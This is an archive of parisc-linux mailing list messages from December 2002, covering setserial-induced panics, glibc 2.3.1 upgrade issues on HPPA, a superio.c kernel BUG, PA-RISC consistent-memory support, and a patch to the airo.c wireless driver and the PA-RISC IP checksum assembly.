Date: Thu, 05 Dec 2002 09:26:49 -0700
Lines: 21
Approved: news@gmane.org
Message-ID: <20021205162649.B50E515191@paul.bame>
References: <3DEF1B6F.1573C841@admin.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621999 18384 80.91.229.3 (22 Nov 2014 02:06:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:39 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>,
	bame@fc.hp.com
To: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Dec  5 09:26:54 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel9.hp.com (atlrel9.hp.com [156.153.255.214])
	by dsl2.external.hp.com (Postfix) with ESMTP id B2F9A4829
	for <parisc-linux@lists.parisc-linux.org>; Thu,  5 Dec 2002 09:26:54 -0700 (MST)
Original-Received: from smtp2.fc.hp.com (smtp.fc.hp.com [15.15.136.253])
	by atlrel9.hp.com (Postfix) with ESMTP id 3B173E007F0
	for <parisc-linux@lists.parisc-linux.org>; Thu,  5 Dec 2002 11:26:50 -0500 (EST)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.1.50.190])
	by smtp2.fc.hp.com (Postfix) with ESMTP
	id EB10923B6D; Thu,  5 Dec 2002 09:26:49 -0700 (MST)
Original-Received: from paul.bame (paul.bame [10.66.2.7])
	by ldl.fc.hp.com (Postfix) with ESMTP
	id D9299407A; Thu,  5 Dec 2002 09:26:49 -0700 (MST)
Original-Received: from fc.hp.com (localhost [127.0.0.1])
	by paul.bame (Postfix) with ESMTP
	id B50E515191; Thu,  5 Dec 2002 09:26:49 -0700 (MST)
In-Reply-To: Your message of "Thu, 05 Dec 2002 10:25:03 +0100."
             <3DEF1B6F.1573C841@admin.france.hp.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17027

> This is a multi-part message in MIME format.
> --------------11B10191D25EDD401FC846C9
> Content-Type: text/plain; charset=iso-8859-1
> Content-Transfer-Encoding: base64
> 
> ICAgIEhpDQpJJ20gY29tcGlsaW5nIGEgbmV3IGtlcm5lbCwgYnV0IGl0IHBhbmljIHdoaWxl
> IGRvaW5nICJzZXQgc2VyaWFsIjoNCg0KU2VyaWFsIGRyaXZlciB2ZXJzaW9uIDUuMDVjICgy
> MDAxLTA3LTA4KSB3aXRoIE1BTllfUE9SVFMgU0hBUkVfSVJRIFNFUklBTF9QQ0kgZW5hYmxl

It's probably not the new kernel. setserial is quite dangerous and
bypasses any driver-related safety.  I often disable or remove it on
development machines and it's often fatal after a serial configuration
change.

The two places I've suffered are when I removed serial ports and
rebooted, and when I booted a second machine (with different port setup)
from a disk made from the first machine.  In both cases setserial tried
to restore settings using addresses which didn't exist --> panic.

	-P


From - Thu Nov 08 21:25:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: GNU/Libc 2.3.1 on HP-PARISC requires >= 2.4.19 kernel.
Date: Thu, 5 Dec 2002 11:50:15 -0500 (EST)
Lines: 18
Approved: news@gmane.org
Message-ID: <200212051650.gB5GoG7d003199__1331.34525171972$1416621999$gmane$org@hiauly1.hia.nrc.ca>
References: <20021205010845.GU16331@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621999 18385 80.91.229.3 (22 Nov 2014 02:06:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:39 +0000 (UTC)
Cc: debian-hppa@lists.debian.org,
	parisc-linux@lists.parisc-linux.org, debian-glibc@lists.debian.org,
	tausq@debian.org
To: carlos@baldric.uwo.ca (Carlos O'Donell)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Dec  5 09:50:27 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 461E14829
	for <parisc-linux@lists.parisc-linux.org>; Thu,  5 Dec 2002 09:50:27 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id gB5GoHot003200;
	Thu, 5 Dec 2002 11:50:17 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id gB5GoG7d003199;
	Thu, 5 Dec 2002 11:50:16 -0500 (EST)
In-Reply-To: <20021205010845.GU16331@systemhalted> from "Carlos O'Donell" at Dec 4, 2002 08:08:45 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17028

> Hi, my name is Carlos, and I cause all your nightmares with glibc on
> HPPA :)
> [...]
> I recommend that you _do_ _not_ upgrade glibc on HPPA until 2.3.1-6.

Being perverse, I tried installing 2.3.1-5.  I hit the same problem
that Joel mentioned previously, the old dynamic loader doesn't define
GLIBC_PRIVATE.  I was trying to install glibc privately in a prefix of
my selection.  I have been using LD_LIBRARY_PATH to select my library
path.  However, this no longer works since all system binaries are
linked using /lib/ld.so.1 and it isn't compatible with the 2.3.1
libraries.  Is there a way around this?

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:25:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] superio.c -BUG
Date: Thu, 5 Dec 2002 18:59:36 +0100
Lines: 42
Approved: news@gmane.org
Message-ID: <3DED9BBD0000056F@ocpmta7.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416621999 18388 80.91.229.3 (22 Nov 2014 02:06:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:39 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Dec  5 11:00:14 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9E7784829
	for <parisc-linux@lists.parisc-linux.org>; Thu,  5 Dec 2002 11:00:13 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18K0IC-0003Dm-00
	for <parisc-linux@lists.parisc-linux.org>; Thu, 05 Dec 2002 19:00:08 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Thu, 5 Dec 2002 17:59:36 +0000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17029

Hi all,

Working on lkcd port of Bruno Vidal on a b2k (gcc-3.0.4), I encounter the=

following bug:
Dump compression value is 0x0 ...
Dump device index 0 ...
Initialise iodc dump device:dump_iodc_init(): reset done
dump_iodc_open(): get module info : 16
dump_iodc_open(): get ENTRY INIT.
kernel BUG at superio.c:109!
WARNING! Stack pointer and cr30 do not correspond!
Dumping virtual address stack instead

What is troubling me in the code is the contradiction between code and co=
mments:
        if ((results & 0x80) =3D=3D 0) {
#ifndef CONFIG_SMP
                /* HACK: need to investigate why this happens if SMP enab=
led
*/
                BUG(); /* This shouldn't happen */
#endif
                return;
        }

[I am running here a kernel 2.4.19-pa24 + dump_patch of bruno but it is
still  the same in 2.4.20]

Can somebody could confirm me what is right: code or comment?

Thanks in advance,
    Joel

*************************************************************************=
*******
Controlez mieux votre consommation Internet...surfez Tiscali Complete...h=
ttp://tiscali.complete.be





From - Thu Nov 08 21:25:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "b.gunreben" <b.gunreben@web.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: GNU/Libc 2.3.1 on HP-PARISC requires >= 2.4.19 
 kernel.
Date: Thu, 05 Dec 2002 19:10:03 +0100
Lines: 28
Approved: news@gmane.org
Message-ID: <3DEF967B.8B7F68AA@web.de>
References: <200212051650.gB5GoG7d003199@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622000 18389 80.91.229.3 (22 Nov 2014 02:06:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:40 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Dec  5 11:10:16 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp.web.de (smtp03.web.de [217.72.192.158])
	by dsl2.external.hp.com (Postfix) with ESMTP id 98263485C
	for <parisc-linux@lists.parisc-linux.org>; Thu,  5 Dec 2002 11:10:16 -0700 (MST)
Original-Received: from c-180-204-153.n.dial.de.ignite.net ([62.180.204.153] helo=web.de)
	by smtp.web.de with asmtp (WEB.DE(Exim) 4.93 #1)
	id 18K0Ru-0002Hv-00
	for parisc-linux@lists.parisc-linux.org; Thu, 05 Dec 2002 19:10:11 +0100
X-Mailer: Mozilla 4.77 [de] (X11; U; Linux 2.2.18 i586)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17030

John David Anglin wrote:
> 
> > Hi, my name is Carlos, and I cause all your nightmares with glibc on
> > HPPA :)
> > [...]
> > I recommend that you _do_ _not_ upgrade glibc on HPPA until 2.3.1-6.
> 
> Being perverse, I tried installing 2.3.1-5.  I hit the same problem
> that Joel mentioned previously, the old dynamic loader doesn't define
> GLIBC_PRIVATE.  I was trying to install glibc privately in a prefix of
> my selection.  I have been using LD_LIBRARY_PATH to select my library
> path.  However, this no longer works since all system binaries are
> linked using /lib/ld.so.1 and it isn't compatible with the 2.3.1
> libraries.  Is there a way around this?

Well, I don't think it is perverse. I have already more than 10 days
uptime with a machine, that runs completely with 2.3.1 (and this machine
was only for about 13h idle).

In order to run with the new ld.so, you may try the following:

<prefix>/lib/ld.so.1 --library-path <prefix>/lib:<prefix>/usr/usr/lib
command

or you set up a chroot system with all needed programs.

Berthold


From - Thu Nov 08 21:25:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Adam J. Richter" <adam@yggdrasil.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Question about parisc machines with little or no consistent memory
Date: Thu, 5 Dec 2002 13:53:28 -0800
Lines: 25
Approved: news@gmane.org
Message-ID: <200212052153.NAA05169@adam.yggdrasil.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416622000 18390 80.91.229.3 (22 Nov 2014 02:06:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:40 +0000 (UTC)
Cc: James.Bottomley@steeleye.com
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Dec  5 14:56:36 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from freya.yggdrasil.com (h-64-105-35-8.SNVACAID.covad.net [64.105.35.8])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8BC2F4829
	for <parisc-linux@lists.parisc-linux.org>; Thu,  5 Dec 2002 14:56:36 -0700 (MST)
Original-Received: from adam.yggdrasil.com (adam.yggdrasil.com [209.249.10.6])
	by freya.yggdrasil.com (8.9.3/8.9.3) with ESMTP id MAA31996;
	Thu, 5 Dec 2002 12:51:16 -0800
Original-Received: (from adam@localhost)
	by adam.yggdrasil.com (8.9.3/8.9.3) id NAA05169;
	Thu, 5 Dec 2002 13:53:28 -0800
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17031

	I have a question about the parisc machines that have little
or not consistent memory available.  I'm interested in both the
parisc machines that Linux currently supports and those that it
has not been ported to.

	My question is: what kind of inconsistent memory do they have?
I am most interested in knowing if you can at least allocate memory
may be read cached but is write through.  If you can select
write-through and you write a 4-byte word aligned on a 4-byte
boundary, will you only write those four bytes without writing back
any potentially stale cached data?  How about if you write a char or a
short?  If these machines support memory that need read barriers but
does not have the hazard of potentially writing back incorrect cached
data, that may simplify adding support for these machines to more
drivers.

	I am asking because this is relevant to a discussion on lkml
about some changes that James Bottomley posted to generalize the
pci_xxx DMA mapping routines to generic devices.

Adam J. Richter     __     ______________   575 Oroville Road
adam@yggdrasil.com     \ /                  Milpitas, California 95035
+1 408 309-6081         | g g d r a s i l   United States of America
                         "Free Software For The Rest Of Us."


From - Thu Nov 08 21:25:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: lamont@b180.mmjgroup.com (LaMont Jones)
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] airo.c fix for hppa and others
Date: Thu, 5 Dec 2002 15:18:45 -0700
Lines: 101
Approved: news@gmane.org
Message-ID: <20021205221845.GA22847@b180.mmjgroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622000 18394 80.91.229.3 (22 Nov 2014 02:06:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:40 +0000 (UTC)
Cc: lamont@hp.com
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Dec  5 15:18:56 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from dh64.b180 (b180.mmjgroup.com [192.34.35.37])
	by dsl2.external.hp.com (Postfix) with ESMTP id BBB394829
	for <parisc-linux@parisc-linux.org>; Thu,  5 Dec 2002 15:18:55 -0700 (MST)
Original-Received: by dh64.b180 (Postfix, from userid 1000)
	id 78E2711475; Thu,  5 Dec 2002 15:18:46 -0700 (MST)
Content-Disposition: inline
User-Agent: Mutt/1.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17032

Here's the patch that actually works.

airo.c is vs 2.4.20, the checksum.h patch (which is purely performance) is vs
2.4.19 which is probably the same as 2.4.20...

The airo.c patch is critical and sufficient.  The other is for comment,
should anyone care.

lamont

diff -ur x/kernel-source-2.4.19-hppa/drivers/net/wireless/airo.c kernel-source-2.4.19-hppa/drivers/net/wireless/airo.c
--- x/kernel-source-2.4.19-hppa/drivers/net/wireless/airo.c	2002-12-05 15:13:42.000000000 -0700
+++ kernel-source-2.4.19-hppa/drivers/net/wireless/airo.c	2002-12-05 15:15:24.000000000 -0700
@@ -1966,7 +1966,7 @@
 #pragma pack()
 			u16 gap;
 			u16 tmpbuf[4];
-			u16 *buffer;
+			u16 *buffer=NULL;
 
 			fid = IN4500( apriv, RXFID );
 
@@ -2011,13 +2011,14 @@
 				} else
 					hdrlen = ETH_ALEN * 2;
 
-				skb = dev_alloc_skb( len + hdrlen + 2 );
+				skb = dev_alloc_skb( len + hdrlen + 4 );
 				if ( !skb ) {
 					apriv->stats.rx_dropped++;
 					len = 0;
 				}
 			}
 			if (len) {
+				skb_reserve(skb, 2);	/* Align IP on 16 byte boundaries */
 				buffer = (u16*)skb_put (skb, len + hdrlen);
 				if (apriv->flags & FLAG_802_11) {
 					buffer[0] = fc;
@@ -4008,6 +4009,10 @@
 {
 	struct net_device *dev;
 
+	if (pci_enable_device(pdev))
+		return -ENODEV;
+	pci_set_master(pdev);
+
 	dev = init_airo_card(pdev->irq,	pdev->resource[2].start, 0);
 	if (!dev)
 		return -ENODEV;
diff -ur x/kernel-source-2.4.19-hppa/include/asm-parisc/checksum.h kernel-source-2.4.19-hppa/include/asm-parisc/checksum.h
--- x/kernel-source-2.4.19-hppa/include/asm-parisc/checksum.h	2002-02-12 22:16:45.000000000 -0700
+++ kernel-source-2.4.19-hppa/include/asm-parisc/checksum.h	2002-12-05 12:03:48.000000000 -0700
@@ -54,7 +54,8 @@
 /*
  *	Optimized for IP headers, which always checksum on 4 octet boundaries.
  *
- *	Written by Randolph Chung <tausq@debian.org>
+ *	Written by Randolph Chung <tausq@debian.org>, and then mucked with by
+ *	LaMont Jones <lamont@debian.org>
  */
 static inline unsigned short ip_fast_csum(unsigned char * iph,
 					  unsigned int ihl) {
@@ -63,27 +64,23 @@
 
 	__asm__ __volatile__ (
 "	ldws,ma		4(%1), %0\n"
-"	addi		-4, %2, %2\n"
-"	comib,>=	0, %2, 2f\n"
+"	addib,<=	-4, %2, 2f\n"
 "\n"
-"	ldws,ma		4(%1), %%r19\n"
-"	add		%0, %%r19, %0\n"
-"	ldws,ma		4(%1), %%r19\n"
-"	addc		%0, %%r19, %0\n"
-"	ldws,ma		4(%1), %%r19\n"
+"	ldws		4(%1), %%r20\n"
+"	ldws		8(%1), %%r21\n"
+"	add		%0, %%r20, %0\n"
+"	ldws,ma		12(%1), %%r19\n"
+"	addc		%0, %%r21, %0\n"
 "	addc		%0, %%r19, %0\n"
 "1:	ldws,ma		4(%1), %%r19\n"
-"	addib,<>	-1, %2, 1b\n"
+"	addib,<		0, %2, 1b\n"
 "	addc		%0, %%r19, %0\n"
-"	addc		%0, %%r0, %0\n"
 "\n"
-"	zdepi		-1, 31, 16, %%r19\n"
-"	and		%0, %%r19, %%r20\n"
+"	extru		%0, 31, 16, %%r20\n"
 "	extru		%0, 15, 16, %%r21\n"
-"	add		%%r20, %%r21, %0\n"
-"	and		%0, %%r19, %%r20\n"
+"	addc		%%r20, %%r21, %0\n"
 "	extru		%0, 15, 16, %%r21\n"
-"	add		%%r20, %%r21, %0\n"
+"	add		%0, %%r21, %0\n"
 "	subi		-1, %0, %0\n"
 "2:\n"
 	: "=r" (sum), "=r" (iph), "=r" (ihl)


From - Thu Nov 08 21:25:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Question about parisc machines with little or no consistent memory
Date: Thu, 5 Dec 2002 22:40:09 +0000
Lines: 41
Approved: news@gmane.org
Message-ID: <20021205224009.A10368@parcelfarce.linux.theplanet.co.uk>
References: <200212052153.NAA05169@adam.yggdrasil.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622001 18400 80.91.229.3 (22 Nov 2014 02:06:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:41 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, James.Bottomley@steeleye.com
To: "Adam J. Richter" <adam@yggdrasil.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Dec  5 15:40:15 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 545AA4829
	for <parisc-linux@lists.parisc-linux.org>; Thu,  5 Dec 2002 15:40:15 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 18K4fB-0005Wo-00; Thu, 05 Dec 2002 22:40:09 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <200212052153.NAA05169@adam.yggdrasil.com>; from adam@yggdrasil.com on Thu, Dec 05, 2002 at 01:53:28PM -0800
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17033

On Thu, Dec 05, 2002 at 01:53:28PM -0800, Adam J. Richter wrote:
> 	I have a question about the parisc machines that have little
> or not consistent memory available.  I'm interested in both the
> parisc machines that Linux currently supports and those that it
> has not been ported to.

Machines we support:

Astro/Elroy based: lots of consistent memory available (IOTLB)
CCIO based: lots of consistent memory available (IOTLB)
PCXL/L2 processors: 128? MB available, uncachable.
PCXS/T processors: no consistent memory available.

Machines we don't support:

V class: Can't really comment how much is available, the docs confused me ;-)
T class: No consistent memory available, though there is an IOMMU.

> 	My question is: what kind of inconsistent memory do they have?
> I am most interested in knowing if you can at least allocate memory
> may be read cached but is write through.  If you can select
> write-through and you write a 4-byte word aligned on a 4-byte
> boundary, will you only write those four bytes without writing back
> any potentially stale cached data?  How about if you write a char or a
> short?  If these machines support memory that need read barriers but
> does not have the hazard of potentially writing back incorrect cached
> data, that may simplify adding support for these machines to more
> drivers.

Basically, no.  The memory subsystems on these things can't cope with the
CPU doing a non-cacheline-{sized,aligned} write, so we can't even do
uncachable memory (except on PCX-L and -L2 where the memory controller can
cope with smaller writes).

Caches on PA are always writeback, never writethrough.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:25:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: LaMont Jones <lamont@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: airo.c fix for hppa and others
Date: Thu, 5 Dec 2002 17:16:09 -0700
Lines: 19
Approved: news@gmane.org
Message-ID: <20021206001609.GB26722@cranston.fc.hp.com>
References: <20021205221845.GA22847@b180.mmjgroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622001 18403 80.91.229.3 (22 Nov 2014 02:06:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:41 +0000 (UTC)
Cc: lamont@hp.com
To: LaMont Jones <lamont@b180.mmjgroup.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Dec  5 17:16:33 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel7.hp.com (atlrel7.hp.com [156.153.255.213])
	by dsl2.external.hp.com (Postfix) with ESMTP id AC8A24829
	for <parisc-linux@parisc-linux.org>; Thu,  5 Dec 2002 17:16:33 -0700 (MST)
Original-Received: from security.hp.com (cranston.fc.hp.com [15.1.44.224])
	by atlrel7.hp.com (Postfix) with ESMTP id 1B3A880510B
	for <parisc-linux@parisc-linux.org>; Thu,  5 Dec 2002 19:16:29 -0500 (EST)
Original-Received: by security.hp.com (Postfix, from userid 23683)
	id EF5AB12134; Thu,  5 Dec 2002 17:16:24 -0700 (MST)
Delivered-To: lamont@security.hp.com
Original-Received: by security.hp.com (Postfix, from userid 23683)
